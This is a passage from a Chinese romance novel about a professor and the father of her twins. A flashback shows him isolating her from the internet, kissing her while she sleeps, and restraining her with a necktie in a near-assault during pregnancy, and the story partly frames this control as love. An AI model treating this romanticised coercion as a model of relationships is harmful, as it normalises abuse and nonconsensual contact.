甄世明愣怔一下,认真思索几秒钟,说:“这种玩儿法我们没试过,如果你想试试的话…也行,但你轻点儿扇,一会儿还开会呢。” 方楷莹咬着牙推开他,在结实的胸膛用力锤了两下,锤得甄世明差点儿没倒过气来,这下真恼了。 “你这人现在怎么这么暴力?动不动就打人,再怎么说我也是你的甲方!” 方楷莹看着甄世明的侧脸,他生气时眉心压紧,眼尾半垂,太阳穴绷起的青筋延入额角,显得容颜更浓重深刻。 真是一张害人不浅的脸! “你自己干了什么事儿不知道吗?!”方楷莹狠狠睖他一眼,在他身上又掐又扭。 “我干什么了?!”他边躲边吼。 “你!……” 该怪谁呢?方楷莹冷静下来想。 不能怪吴忧,那只是个幻想美好爱情发生的年轻小姑娘,也不能怪甄世明,她说不出来他犯了什么错,毕竟他确实什么都没干…难不成怪她? 她把甄世明别在手臂的衬衫袖子一拉到底,连手腕骨也盖住,又踮起脚十分暴力把他的领口系上两道扣,最后把眼镜没收! “是我对你管教不严,以后你不许穿成这样出去招蜂引蝶。”她冷眼道。 甄世明又气又懵,为自己呐喊叫屈:“方教授,你也太不讲理了!我招谁了?!!” “你闭嘴吧!” 方楷莹做了几个深呼吸,重新平静下来,又用手指梳了梳头发保持形象。 “我学生不知道我有孩子,你公司里的人大概也不知道我们的关系,合作期间我不希望太多人知道我们的关系,不然他们会质疑我的能力。合作意向书我看过,我也想做这个横向,你把项目给我,我能做好。” 甄世明真的气笑了,哪有这样的人? 前一刻把人弄得热血沸腾,后一刻不由分说暴打一顿,前一秒对他又掐又扭,下一秒理直气壮要项目。 “行不行?”方楷莹抬起头问。 “……行。”他哪敢说不行。 下一秒,电梯门打开。 两个小孩手里举着无人机模型,在走廊里前后追逐,从方楷莹眼前匆匆跑过,又倒着折返回来,先是一歪头,后就冲她扑过来。 “妈妈!妈妈!” 方楷莹一个箭步窜出电梯,一手捂住一个孩子的嘴,挟持着拖进甄世明的办公室。 “妈妈,你怎么来啦?!”两个孩子兴高采烈攀住她的手臂上下甩动,东揪西扯让她摇摇晃晃。 “额……我来看看你们。” 幼儿园还没有开学,如果孩子住在山顶别墅,还有保镖可以陪着孩子玩儿,但现在甄世明带着孩子住在方楷莹的家里,只能走到哪儿就把孩子带到哪儿。 芯芯软嫩嫩的小手指指向无人机模型的机翼,说:“妈妈,我把这个玩儿坏了,你帮我修修好咩?” 健康的孩子头发总是有光泽,方楷莹摸了摸手感丝滑的小脑袋,说:“回家再修,爸爸妈妈现在有正事。” 橙橙缠抱住方楷莹的腰,仰头露出可爱的笑脸,撒娇道:“我陪妈妈去办正事!” 方楷莹蹲下身哄逗孩子,甄世明站在一旁哂笑,目光落在后颈白净的皮肤上,恨得牙痒,想咬上去。 “不可以哦,爸爸妈妈是去开会,那里都是大人,在说很严肃的事情。”方楷莹捏捏孩子的脸,说:“橙橙和芯芯都是乖孩子,不会打扰爸爸妈妈工作,对不对?” 橙橙垂下眼皮,噘嘴思索一会儿,说:“可是爸爸以前也经常带着我们,我和芯芯经常开会,我们不会说话打扰的。” “啊?” 甄世明玩世不恭地笑笑,“因为我大多数时间是甲方,别说带孩子,牵两条狗去也没人敢说什么。” 方楷莹无奈,把孩子递进甄世明手里,“那你牵着。” 下电梯之前,方楷莹对孩子反复叮嘱:“橙橙芯芯,开会时候你们要做不说话的乖小孩,开完会之后就跟爸爸走,我们在家里见面,好吗?” 小孩儿互相对视,似懂非懂地点点头- 方楷莹做贼心虚地让甄世明先领着孩子回会议室,自己在外面做好充分的思想准备,深吸口气才推门进去。 一进门,眼光就自动寻找孩子身影,她这才发现会议室的角落一直放有儿童椅,她的小孩们老老实实坐着,安安静静摆弄自己手里的玩具。 方楷莹看着孩子,忽然觉得可怜。 未曾参与的五年里,甄世明大概总是带着孩子工作,儿童椅看着并不崭新,孩子们也坐得熟练习惯,不吵不闹。 而吴忧被霸道总裁的柔情一面迷得神魂颠倒,他的两个孩子都穿休闲裤,衬衫外搭配拉夫劳伦的白色小毛衣,看着是两个小绅士模样,长得也天真可爱,只是眉眼之间似曾相识? 这难道就是缘分? 她觉得甄世明的孩子看着也亲切。 “继续吧。”甄世明发话。 吴忧转回神,再没多想,继续开讲。 方楷莹从来没在这种场合见过这样的甄世明,他一本正经而且对相关专业确实了解,讲话既有对知识分子的尊重,还有对年轻人的宽容,虽然扣子系得很规整,但举手投足之间还是尽显风度。 双方都聊得很开心,紧张的吴忧状态也越来越好,场子热了之后她都可以像平时开组会那样,在汇报中夹杂几句专业的玩笑。 方楷莹听着欣慰笑笑。 因为这种特殊的病,她总是避免social,后来和汪先生在一起有样学样,现在其实比年轻时好了很多,但看到吴忧这样伶俐热情的年轻人,她其实内心有预感,吴忧的未来,发展空间一定更宽广,真是一代更比一代强。 — 会议结束,合同基本敲定。 甲乙双方互相握手,方楷莹也站起来,硬着头皮演戏,假笑着和甄世明握手,他脸上依然是尊重的微笑,但暗中用力地捏了一下她的手,方楷莹皱起眉,唇边保持假笑,那表情丑极了。 但他喜欢看。 一群人握手寒暄之际,角落里的孩子从儿童椅上跳下来,从几个正在握手的叔叔阿姨手臂下钻过,一直钻到爸爸身边,乖乖等着爸爸带他们走。 走之前孩子们不忘和人打招呼:“叔叔阿姨拜拜!妈妈拜拜!” 空气忽然安静,互相握手的人群定格住,方楷莹也定格住。 芯芯挠了挠头,直冲方楷莹眨眼,委屈地问:“妈妈你为什么不和我拜拜?” 方楷莹:“”- 这种情况下,方楷莹依然坚持把吴忧送回去,路上吴忧战战兢兢一言不发,比在会上还要紧张。 方楷莹也觉得尴尬,清清嗓说:“你刚才讲得挺好。” 吴忧坐立难安,垂下的眼睫又挡不住失恋的小眼神,低声嘟囔:“我乱讲的来的路上也是乱讲的” 只见过一面人能投入多少感情?现在吴忧更害怕方楷莹因此生气,比起失去一个压根还没得到的男人,她更害怕导师疏离她。 “那两个孩子确实是我的。”方楷莹与她完全坦白:“其实那会儿我就想和你说这件事,但是没机会让我说出来,我和他之间的关系比较复杂,我们认识很久,曾经恋爱过,现在共同抚养孩子,如果你打算追他的话,我必须得把这些告诉你,我知道现在的年轻人比较不拘一格,感情上我也不能给你太多指导,因为我自己也是一团糟。” 吴忧以为导师是被她气懵了,甚至她也没分清楚这到底是在鼓励,还是说反话,她皱着眉头抓耳挠腮,“我其实就是过过嘴瘾,您别怪我。” “我不怪你。”方楷莹把话说得坦诚真挚:“你喜欢一个人没错,我不会拦着你,毕竟优秀的人喜欢他,侧面也证明了我的眼光不错” 方楷莹心里压着难以言表的情绪,她总说甄世明占有欲强烈,现在自己也没好到哪里去,一想到别人追他就浑身不舒服,声音越说越小 最终车内的安静无比。 这个时候,吴忧才能轻易察觉到她低落的情绪,“其实您也很喜欢他吧?” 方楷莹握紧方向盘,既然要坦白,她也不能藏着掖着,“我们之间的感情很复杂,从年轻吵到现在,一起经历了很多事,所有人也都说我们不合适,但一直也不能断干净很奇怪吧?” “不奇怪,我觉得你们合适!”吴忧根据自己多年积攒的理论经验,直截了当地说:“我看这么多年爱情小说,您信我,吵不散的感情是最深的,越多人反对的爱情才刻骨铭心呢!” 刻骨铭心吗? 甄世明这人倒确实挺难忘的,方楷莹想起他,唇角浅淡地笑了笑。 吴忧见导师一笑,心里大石头也落地,嬉皮笑脸说道:“导儿,您还不了解我嘛?我一个月crush八百回,那百亿补贴我不要了,只是博士论文您还能不能加我的名字?” 方楷莹本来心情挺沉重,一看吴忧没心没肺的样子,在这种时候还想着论文,感觉吴忧变成恋爱脑的概率比她变成恋爱脑的概率还小点儿。 “能~”方楷莹拖长尾音,带着宠溺的语气说:“你今天的表现让我感觉我带出来的学生真好。” 吴忧平时大大咧咧不着调,正式场合还是容易紧张,今天对她来说已经是很大的进步。 方楷莹是她最崇拜的人,今天说了这么认可鼓励的话,她反倒感性起来,鼻头一酸,瞬间红了眼眶。 “导儿,你真好。” 方楷莹瞥眼过去,不解地问:“怎么哭了?” “我就是感动”吴忧哭花了妆,抽出两张纸巾擤鼻涕。 “因为我的博导也是这么教我的,我只是模仿她对学生的样子。你已经是博士了,有了稳固的知识架构,我能为你做的也只是给你未来的研究铺道路,等你以后成长起来,手下有了学生,再为她们铺道路,有一代一代的铺路人,我们才能把这科研路走得更长远,你觉得呢?” 吴忧认真想了想,点点头说:“我觉得遇到一个好导师不容易,很幸福。” 方楷莹若有所思地说:“是啊。”- 回家之后甄世明对方楷莹横眉冷对,想起她在会上的尴尬表现,好像并不想与他们父子三人相认,被冷待的感觉让他委屈。 但橙橙和芯芯不会想那么多,见妈妈回家就从儿童小床上跳下来,在拥挤的小房子里抱住妈妈。 吃过晚饭,方楷莹给小孩儿们切了餐后水果,又把芯芯的无人机模型修好,甄世明一直躲在卧室,直到孩子们要洗澡时才出来。 出来也不和她说话,高冷。 方楷莹秉持着‘你不说话我也不说话的’的态度,只是现在情况不同,在山顶别墅时她和甄世明可以分开房间冷战,但在人才房里,实在没那么多空房间。 所以他们各自侧卧,占据双人床的一边,中间隔着两套被子。方楷莹一动不动,在黑夜里听着甄世明翻来覆去。 最后他实在忍不了,把自己的被子一掀,拱进方楷莹的棉被里。 方楷莹被人揽住腰从床边拖到中间,动作蛮横地按住身体,他手肘撑床,悬在身体之上,脸对脸地盯着她,咬牙切齿地问:“我们是不能公开的关系吗?” 方楷莹被他炽烈的目光盯着,想躲躲却被一手抵住肩膀,动弹不得。 “今天不是公开了吗?…” “我是在问你怎么想的,今天你太反常了,在电梯里是什么意思?什么叫我招蜂引蝶?” 方楷莹:“…我的学生对你有好感。” 甄世明愣了愣,旋即勾起唇角笑,“所以你是…吃醋了?” 方楷莹:“可能…有点儿?” 甄世明更加不解:“你既然吃醋,就应该宣告主权,但你在会议室又是什么情况?芯芯叫你妈妈的时候,你想躲想跑,孩子看不出来,我能看出来。” “我是觉得……尴尬,我们只有两个人,其他都是你公司里的人,他们不知道我们的关系,我不知道…你是不是想公开…所以…” “我想。”甄世明立刻说:“我想让全世界都知道你是橙橙芯芯的妈妈,我是橙橙芯芯的爸爸,我们是一家四口。” 方楷莹红着脸哦了声。 “睡觉吧,行吗?” 方楷莹闭上眼睛假装睡觉,眼皮又被他用手指提了一下,甄世明不依不饶,“你不对劲儿,你不想公开。” 方楷莹:“……” “别弄六个点儿应付我,说!” 方楷莹喉咙咽了咽,推开他坐起身,说:“我是怕你甄家人知道,再来找我,毕竟我的病还没好,依然…不适合养孩子。” 当初之所以没带孩子走,也是考虑到甄家能给孩子更好的生活,她的病没好,确实不适合养孩子,甄母说的没有错。 “你以为现在他们不知道吗?” 方楷莹抬起眼:“知道吗?” 看甄世明的表情,应该是知道的。 “这么多年过去了,人的想法是会改变的,我跟家里僵持几年,他们早都不管我了,况且你回来了,橙橙和芯芯身边又多了一个爱他们的人,没有人会反对,也没人会觉得你不适合养孩子,你和孩子们相处得很好。” 方楷莹垂下眼睫,呐呐道:“我不确定好母亲是什么样子,你和孩子相处总是游刃有余,而我总是手忙脚乱。” “你为什么要和我比较呢?”他拉起方楷莹的手,亲了亲她的手心,耐心道:“我们不是对手,不是我赢了,你就输了,孩子们爱你,也不是因为你做得有多完美,是因为感觉到了你爱他们,你对他们的好他们都看在眼里。” 他把方楷莹搂进怀里,撩起一片衣衫,指腹抚过那道剖腹产的疤痕,“你受过的苦我都记在心里。” 第63章 人在最幸福的时候会怎么样? 会担忧幸福稍纵即逝。 方楷莹在得到甄世明的安慰后, 重新侧躺下来,双手抱住他的手臂,下巴抵在圆圆硬硬的肩头, 保持着舒服的姿势沉沉入睡。 甄世明也侧身, 怀里抱着这样一个人,轻轻拍抚她的后背, 感受着轻柔的呼吸吹过皮肤的微痒, 在她发间嗅吻一下,也闭上眼睛。 那天晚上他做了一个梦。 梦里的夕阳正好,她身怀有孕, 双胞胎让肚子微微鼓起, 她恬静地坐在地毯上捧着一本书, 唇边弧度浅淡,头发在暮色下更黑亮。 那画面温柔美好, 甄世明站在二楼栏杆处看着,忍不住拍下照片记录这一刻。那时他也不知道在以后的五年岁月里, 他会用这张照片一直怀念她。 方楷莹独自坐在沉寂的暮色里, 抬起头与他对视一眼,又低头垂落目光。 体内激素作乱, 她的情绪病在那时无法控制, 人时而恬静时而狂躁, 安静时几天不讲一句话,暴躁时就会找茬和他吵架。 第三天没和他说话了。 甄世明收起手机, 走下楼去, 坐在沙发看着她,想着她现在起身不便,也许会开口找他帮忙, 但方楷莹坐着不动,脸色冷淡,眼神定定。 “你想做什么?我陪你。” 方楷莹又沉默一会儿,从身后掏出一个木刻玩具递给他,那是她自己用钝拙的小刀和花园里的木头做的手工,甄世明早就知道她心灵手巧,手上没有电子元器件,她也能自己做个益智玩具出来。 “给孩子玩儿吗?”甄世明笑笑。 手里的木刻掌心大小,镂空的笼子里装着一只木雕的小鸟雏形,木笼在他手中摇晃一下,小鸟就在里面翻滚,发出钝钝的木头撞击声。 方楷莹撩起眼皮看向他,双唇血色很淡,唇角惨然弯起,“笼中鸟,像我吗?” 把玩木鸟的手忽然停顿,甄世明唇角抽动一下,修长的手指骨节铮铮,手背的血管微微起伏。 “咔嚓”一声,木笼断裂。 实心小木鸟依然被他牢握手中。 他知道静默期过了,方楷莹要找茬吵架了,但他不想吵,把木雕的笼子扔到她膝边,压住坏情绪,冷笑一声说:“不像,我不会这样对你。” 他把木鸟紧紧攥在手里,上了楼。 方楷莹看着破碎断裂的笼子,发呆- 那次他拿着心理医生的论文与她大吵一架,之后便不与她同房而眠,但他总是放心不下,想在每晚睡前看看她。 从那以后他每天睡得很晚,在自己家里像做贼,一定要等着她睡着后再悄悄进入她的房间。 有时站在床边看着清秀无妆的脸,甄世明会安慰自己:得不到心,起码还得到了人,只要人在我身边,只要人在我身边 有时他会趁她睡熟,半跪在床边,亲亲她的脸,那脸蛋儿虽然憔悴些许,但还是柔软,一凑近能嗅到发间散出的馨香,这种气味她十七岁时的枕巾上就有,那时他就喜欢闻。 有时欲望难忍,他就在更晚的时间进入,于她更熟睡再亲亲她,让鼻尖口腔都充盈着他喜欢的气味,然后去浴室自己回味解决,在沉沦后清醒过来,他觉得空虚又折磨。 他否定了方楷莹出国读博的想法,但想方设法联系了国内同专业顶尖的博导,人家不用看她的履历,只听这个名字,就说随时欢迎她,那时候甄世明才知道,原来在学术界,方楷莹是很被看好的后辈。 他心里有点儿骄傲,因为人人夸奖他的女朋友是一颗冉冉升起的新星,又十分烦恼,因为人人夸奖他的女朋友是一颗冉冉升起的新星。 她明明是萤火虫,是只属于他的小虫子。 — 他知道方楷莹脾气倔,也知道她想当玛丽杨教授的博士,为出国做出过一番努力,可能不会轻易接受在国内读博。 但他依然相信自己能留住她,或者十月怀胎,母爱会留住她。 生下孩子就好了。 他只能这么想。 孕后期,方楷莹把他折腾得不轻。 她的情绪时好时坏,好的时候愿意戴上他送的钻石手链,坏的时候半夜神经兮兮站在他的床前,用手指轻轻戳他额头,把人弄醒后说她饿了。 “你想吃什么?”他模模糊糊睁开睡眼,迷迷瞪瞪起身穿衣,拎起手表一看,凌晨三点。 “烧鸟。”她说。 甄世明:“” 他打电话给经常去的日料店,用钞能力让人家开门做饭,嫌他们送得慢,半夜自己开车出去带回来,回来路上他想着,如果方楷莹再敢问这鸟像不像她,他一定会把桌子掀翻。 烧鸟买回,方楷莹恹恹吃了一口放下,淡淡地问:“你觉得这鸟像我吗?” 甄世明闭上眼睛深呼吸,眼底的青灰色更深重,他扶着额头按揉太阳穴,缓了半天,挤出一句:“烧鸟是用鸡做的。” “我知道啊。”她手托着下巴,若有所思地说:“禽类,用于下蛋,像不像我?” 甄世明仰头深叹,舌尖舔了舔唇上的伤痕,喉结滚动间咽下满腔愤懑,攥紧拳头压抑想吵架的冲动。 “你说什么就是什么吧。”他无奈投降,为了避免吵架只能逃离现场,“饿了多吃点儿,我先上楼了。” 他快步走上楼梯,又在转角处回头,方楷莹背影失落,坐在灯下一动不动- 他经不住这样三番五次的折腾,也想让方楷莹孕期心情平稳一些,就允许蓝梦偶尔来陪她。 她的好朋友来陪她一天,她的心情就会好一些,对他就会温柔柔软一些。 蓝梦上门次数越来越多,有一天来陪她一下午,甄世明回家时还听到书房传出的笑声,有心想进去看看她的笑脸,但还是在门前停住脚步。 他逐渐放松警惕,但某次帮她洗澡拿浴巾时,在衣柜里发现藏在里面的,沉甸甸的行李箱。 那时她已经怀孕三十四周。 这简直要逼疯他,甄世明什么样的折磨都能忍耐,忍到现在只为了她能不离开,但难以想象在他整理待产包的时候,方楷莹却在另一个房间偷偷整理远行的行李。 “这是什么?”他把半开的行李箱扔到方楷莹面前,怒声吼道:“你告诉我这是什么?!” 方楷莹已经不会被他突如其来的喊叫吓到,仿佛知道这场争吵不可避免,但她始终默不作声,用近乎残忍的冷静目光看着甄世明发疯。 “你告诉我这是什么?!”甄世明全然没了初见时的松弛与慵懒,额头挑起青筋,手臂挥动的幅度很大,整个人都很紧绷,“方楷莹,你要去哪儿?!你最好告诉我,你是想和我一起出去旅行!” “我要去读博士。”她褪下浴巾,坐在床边穿上睡衣,面容平静地说:“申请已经通过了。” “什么时候?!”甄世明瞳孔震颤,始终不敢相信,“你是什么时候申请的?!” 他自认严防死守,断了山顶别墅的网络信号,不许她使用电脑,但却忘了她还有好朋友。 蓝梦帮她准备了所有申博的材料,去甄真教授那里拿来方楷莹发过修改的论文,打在纸上藏进包里带来,她们在书房反复修改,再由蓝梦带出去发给甄真教授审阅,最后投刊。 也就是这篇孕期发表的论文,让国外许多教授注意到她,加上国内知名学者甄真教授的推荐信,玛丽杨教授正式向她抛出橄榄枝。 现在面对甄世明的质问,她沉默。 甄世明也不傻,立刻就能反应过来,但如今他已经顾不得追究别人,眼前的坚定眼神才是他的头疼事。 “你已经是要当妈妈的人了,为什么不能消停点儿呢?!全国最好的院校,最好的博导都在京市,你如果想读博,我让你一天学都不用去上,一天苦都不用去受就拿到毕业证,这样不好吗?!” “不好,我不愿意。” 她不愿意,不愿意屈就自己。 她已经听从了太多年,明明从小就可以上天才班,却因为妈妈希望她长得慢些而随波逐流,她也已经荒废了太多年,她因为疾病而缓慢地成长,因为沉沦恋爱而错误百出,她更已经相信了太多年,相信最亲近的人总说为她好、对她好,结果都是让她痛苦受伤。 不再听从、不再荒废、不再相信。 她的话简短有力,在甄世明心里重重一击,她不再踌躇,他却深深不安。 方楷莹面色冷冰冰的,勉强弯腰查看自己的行李箱有没有被摔破,却没意识到她面前这个活生生的人已经出离愤怒。 甄世明擒住她的手腕拉起,一脚把行李箱踢到角落,墙壁与行李箱的边角碰撞,发出刺耳的声音,甄世明全然不顾,泛红的双眼死死盯着方楷莹。 “那么,孩子呢?” 他的声音已经开始哽咽,目光愤怒而迷茫,依然不敢相信他第一次爱的人竟然拼命想要逃离。 提起孩子,方楷莹坚硬的目光有一瞬间柔软,她的手护住小腹,指尖蜷缩了一下,声音依然平稳:“我已经仔细考虑过了,甄家能给孩子更好的生活,你不是一直想要孩子吗?我把孩子留给你。” “你要让孩子一出生就没有妈妈?” “我做不了好妈妈。”她说:“我不想和现在这样的你在一起,更不想和你结婚,我做不到为了孩子委屈自己,你现在这样对我,只会让我恨你,将来再恨你的孩子。” 甄世明在方楷莹冷静的眼中看到决定离开的意志,逐渐收紧手上的力道,动作也比之前更加迟钝。 她腕上戴着他送的钻石手链,坚硬的石头硌疼了他,愤怒被痛感激发,让他的心都酸痛麻木。 “不要我,也不要孩子”甄世明咬紧牙关,眼眶发热,内心早已溃不成军,只能借着愤怒的声音来强撑:“我到底对你做了什么让你恨我?!我只是想让你别离开我,这对你来说很难吗?!方楷莹!我到底怎么做你才能不离开我?你想要什么?到底有什么东西是我不能给你的?!” 方楷莹动了动唇,说:“自由。” 自由、自由、自由。 压抑已久的委屈、憋闷、愤怒、脾气全部在此刻从血管中迸出,甄世明发了疯一般冷笑,眼泪却从通红的眼眶溢出。 “方楷莹,假如你是一块冰,我也早该焐热了,可你不是,你你是一块铁!我从来没见过你这样的女人,不、我从来没见过你这样的人!你根本没有人类的情感!你和你做的电子手表一样冰冷!我竟然还以为能用孩子留住你,我竟然还以为你是爱我的!” 方楷莹的手指蜷起,双眼空洞地看着他发疯发狂,抿抿唇,很小声地说:“我们应该都冷静一下,现在这样谈话对我来说是负担” “我冷静什么?!你还不够冷静吗?!”他的双手用力摇晃她的肩膀,发白的指尖嵌进她的肩胛,在最生气愤怒的时候,见她浅浅皱眉,心里竟然还是会疼。 “你把我当做什么人?”他松开用力的双手,捧住方楷莹的脸颊,鼻尖对着鼻尖,一字一句狠道:“我告诉你方楷莹,我从小到大就没有得不到的东西!我爱你还是恨你,你都给我受着,你想出国,门儿都没有,你好好在这儿给我呆着,我不会让你离开我,把孩子生下来我们就结婚!既然我的爱让你痛苦,你就给我痛苦一辈子!” 他捧住方楷莹的脸强硬地吻过来,她却拗着躲闪,甄世明耐心耗尽、忍无可忍,将她打横抱起又轻轻放在沙发,单手握住她的双手拉到头顶,勾住领带扯开捆住她的双手,用牙齿咬紧。 愤怒冲昏头脑,他也不知道自己在干什么、要干什么,他只是想时时刻刻看着她的脸,但又讨厌她总是面无表情,总是冷淡冰凉,她就不能有人类的感情吗?就不能害怕、求饶、屈服、爱他吗? 他终于看到方楷莹惊慌的表情。 在他解开皮带时,她眉头浅皱,手腕挣了挣,说:“甄世明,我肚子疼。” 这句话声音很小,但却让甄世明脑中嗡鸣。 他愣了一下,随后彻底清醒过来,慌慌张张解开禁锢她的领带,手在肚子上乱摸,问:“是绞痛还是坠痛?” 方楷莹:“我都不是人类了,我怎么知道绞痛还是坠痛?!” 甄世明虽说已经在家里演练过数遍,但这一时刻真的来临,他还是手忙脚乱,急匆匆送到医院后,医生说产妇会因为情绪波动而早产,他的脑袋顿时嗡嗡作响。 方楷莹明明就一直很冷静,怎么会情绪波动呢? 他一个人应付不来,颤抖着双手打电话求助,蓝梦和秦赫在深夜一起赶来医院。 蓝梦见到他衣衫不整,皮带丢失,立刻指责:“方楷莹已经到了孕后期,你怎么还能干那种事儿呢?” “我” 他完全懵了,不想解释,也没脸解释。 三个人在产房外沉默、焦急。 医生告知他早产情况孩子和孕妇都有风险,甄世明已经完完全说不出话来,双手抱住脑袋,眼泪忽然就砸下来,再也抑不住哭声,语言混乱地求医生:“把孩子打掉!把孩子打掉!” “你先冷静冷静。”医生也让他冷静:“把孩子打掉也不能降低孕妇的风险,你要做的是相信医生。” “我是孩子的爸爸!让我进去,我去陪她!” 医生摇头:“产妇拒绝任何人陪产,你安静一点儿。” 谁都没见过这样的甄世明,他安静地抽泣,眼泪像开闸了似的,蓝梦和秦赫怎么劝都无济于事,直到医生再次出来,说:“婴儿需要直接送进保温箱。” “方楷莹呢?”他猛地站起来追问。 “产妇挺坚强的,没什么事儿。”医生也嘀咕:“早产的孕妇竟然没哭” 甄世明舒了口气,“那就好。” “我刚才说的话你没听到吗?”医生觉得这男人也不太正常:“婴儿太小了,有存活不下来的风险,已经送进保温箱了,需要有家属跟着去新生儿科。” 他伸长脖子向里望去,问:“我现在能见方楷莹吗?我——” 蓝梦在两个惊慌无措的男人中间站着,打断甄世明的脑残发言,指挥道:“方楷莹不想见你,你去跟着医生照顾孩子。秦赫,你弄点儿吃的东西来给方楷莹补充能量。” 秦赫:“我不知道应该买什么” 蓝梦:“问!你没长嘴吗?!” “哦哦。” 甄世明跟着医生去新生儿科。 秦赫则立刻下楼买饭。 蓝梦等着方楷莹出来。 方楷莹被推出来时脸色苍白如纸,额角汗湿,嘴唇干燥,堪堪睁眼,蓝梦握住她的手,对她扯唇笑笑,说:“孩子在新生儿科,情况还好,你放心吧,甄世明和医生走了,我一会儿就叫他回来。” 方楷莹轻轻摇头,嘴唇翕动,说:“我现在还不想见他,在里面就听见他嚎了,让我安静点儿吧。” 蓝梦扑哧一笑,又流出泪来- 剖腹产后需要一段时间恢复,甄世明再也不跟她吵架了,每天尽心尽力伺候,殚精竭虑几天下来,人瘦了十来斤。 方楷莹又变得沉默,甄世明却再也不嫌她冷脸了,这辈子他都没有这么好脾气的时候。 他每天看着新生儿科里的两个干瘦瘦的小婴儿,又看着方楷莹那惨白的脸色、瘪下去的肚子、每日擦洗换药的剖腹产伤口,心里疼得像刀刮过。 孩子从保温箱里出来,方楷莹抱着孩子分不清谁是哥哥,迷茫地对着皱巴巴的孩子笑笑,又抱过另一个,也是皱巴巴的。 后来甄世明回想起那段时光,觉得既痛苦又幸福。 在方楷莹生产之后,他再也不想要求太多,什么爱不爱的,他只要方楷莹好好活着- 他们和谐共处了一段时间,甄世明不吵不闹,方楷莹不悲不喜,就在他以为可以这样过一辈子的时候,却在方楷莹的手机里看到购买机票的截图。 那时他们已经带着孩子回到山顶别墅,方楷莹生了孩子后一直气血虚弱,总是很早就困倦睡觉。 甄世明哄完孩子,照例在她睡着后进入她的房间,手机在她手里虚握着,屏幕亮起,是蓝梦发来的信息,他翻遍聊天记录,看到方楷莹请蓝梦帮忙买飞往美国的机票。 甄世明先是一愣,愤怒直冲脑顶,想把她叫醒问个究竟,但看着她毫无气色的脸颊,悬在半空的手还是无力地落下。 那个晚上,他没有叫醒她,坐在她的床边发呆,把与方楷莹的过往都想了一遍。 回想起最初,她十七岁,大言不惭说自己是个天才,稚白的手腕上戴一块能拍照录像的电子手表,倔强的脸皱起时木讷可爱。 现在她的脸变黄生斑,满脸疲惫,毫无光彩,曾经手腕上的电话手表早已经在角落蒙尘,取而代之的是新款的钻石手链,滑稽地拷在手腕,锁住她的梦想和自由。 他忽然意识到这个人已经不再是他当初爱上的人,而到底是什么让她失色? 是他- 他在床边看了整夜,想了整夜。 在天亮前将手机屏幕无声熄灭。 那天天气预报说晚上有雪,下午外面还是阳光灿烂。 她说想出去买婴儿用品,他怀里抱着刚吃过奶的孩子,知道她拎起的尼龙包里有她的护照,但他什么都没说,只是目光一直追着她来回的身影。 等她走到门口,甄世明才开口问:“你还想抱抱孩子吗?” 放在门把上的手顿了一下,她没有回头,只说:“不用了,我待会儿就回来。” 甄世明眼尾低垂,看着怀里沉睡的婴儿,轻轻地哦了一声。 这是他们那天全部的对话- 他安静地看着她走出家门。 孩子很乖,没有出声哭泣。 一切都很好,她走得很顺利。 第64章 甄世明被这噩梦惊醒, 臂弯里的人也不见了去向,他的心跳比噩梦时还快,揉了揉眼睛, 随手抹去脸庞咸湿的眼泪, 推开门去寻找方楷莹的身影。 凌晨两点,夜色静然。 客厅里的电脑屏幕亮着, 方楷莹站在窗前打电话, 窗上倒映着冷淡的眉眼,她的声音很低很消沉,“我的护照不在身边, 但我会尽快赶去, 请你先帮我去老师家里一趟” 甄世明走近, 余光瞥见电脑上的最新消息:【微电子领域知名教授玛丽杨于昨夜在家中自杀。】 他内心一震,快步走到方楷莹身边。 方楷莹挂掉电话, 脸色甚至比平时还要冷淡,经历过一次母亲去世, 甄世明对这种表情很熟悉, 并且他现在能通过方楷莹短促的呼吸判断出她内心的悲伤。 方楷莹被温热的怀抱拥住,她和当初一样双腿发软, 需要双臂的支撑才能勉强站稳, 呼吸也不顺畅, 仿佛周围的空气稀薄无比,脑海里更是一片空白。 “我的老师”她依然难以相信。 “我知道了, ”他眼睫低垂, 眸中明暗不明,“你想坐下来吗?” 方楷莹被他搀扶着坐在沙发,脑海一片混沌, 甄世明给她倒了一杯热水,守在她身边,脸上面容严肃,眼光里含着心疼。 她本来是睡着的,半夜汪先生给她打来电话,她本来是不信的,打开电脑才发现凌晨发布的新闻。 此刻她脑中只有与玛丽杨教授最后一次见面的场景,教授的背影在她眼中重现。 她的老师银发苍苍,肉眼可见的衰老,但脊梁依然挺直,方楷莹耳边甚至还回响着玛丽教授最后对她说的那句“go away”。 现在听起来更像是一声无奈的叹。 到底是哪里出了错? 方楷莹努力冷静下来,意欲探究,重新打开手机,微微颤抖的手指悬在屏幕上方,她新年时的祝贺短信还没有发送出去。 她捂住胸口,又一次感觉到亲人离世的悲怆,像是心脏中连接这段关系的某个经脉被生生切断,而那些遗憾如同浇在创口之上的烈性酒精,一遍遍地刺痛她。 她凝望着屏幕,却没有立刻意识到手机的震动,安妮在电话那头泣不成声,“楷莹,你知道了吗?” “我知道了。”她被这哭声感染,唇角颤了颤,“怎么会这样?” “我也不清楚,你走之后大资金就相继撤离,而且学校也不准许她再申请基金,实验室运营情况很差,她卖了专利来维持,后来行业协会还以经济案件调查她,把实验室强行关闭,但她是那么坚强的人,怎么会” “实验室也关闭了?”方楷莹追问。 安妮呜呜哭泣,语言含混地说:“我…我已经在家一个月了,他们把我们从实验室赶了出去,玛丽杨教授不愿意离开实验室,后来被警察带走了。” 方楷莹迟迟没有反应过来,很多消息她从来没有听说过,竟不敢相信自她走后出了这么多事。 “你为什么不告诉我?” “玛丽杨教授说她可以解决,她让我们安心,就当在家里休假我也以为”安妮在电话那头泣不成声:“昨天移民局上门来找我,我现在住在大卫家里,我真的…好害怕” 方楷莹自己也不知道该怎么办,想到安妮也许可以求助汪先生,立刻说:“你有汪先生的电话,给他打电话” 甄世明一把夺过手机,在这时表现得沉稳可靠:“安妮是吗?你记一个电话,是远征集团的美国总部,告诉那边你是甄家的朋友,他们会帮助你,你自己要做的是找到护照拿在手上,随时准备回国。” 方楷莹愣住了,安妮在电话那头也愣住,“远征集团实验室之前接待过这个集团,但他们只接触了玛丽杨教授,并没有最后投资” “你记性挺好的,”甄世明说:“那我刚才说的话和接下来念的电话你能记住吗?” 安妮:“能。” 甄世明念了一串数字,就把电话还给了方楷莹。 她看着甄世明,隐约觉得他一定知道些什么,安慰几句之后,她也挂断电话,转头问:“远征集团是什么人?” 甄世明闭了闭眼,知道她一定会打破砂锅问到底,面不改色地说:“我妹夫的公司,甄宝珠的丈夫,他们有过投资意向,但这个实验室问题很大,最后没有投资。” “有什么问题?” 甄世明敷衍道:“财务状况不好,具体我也不清楚。” 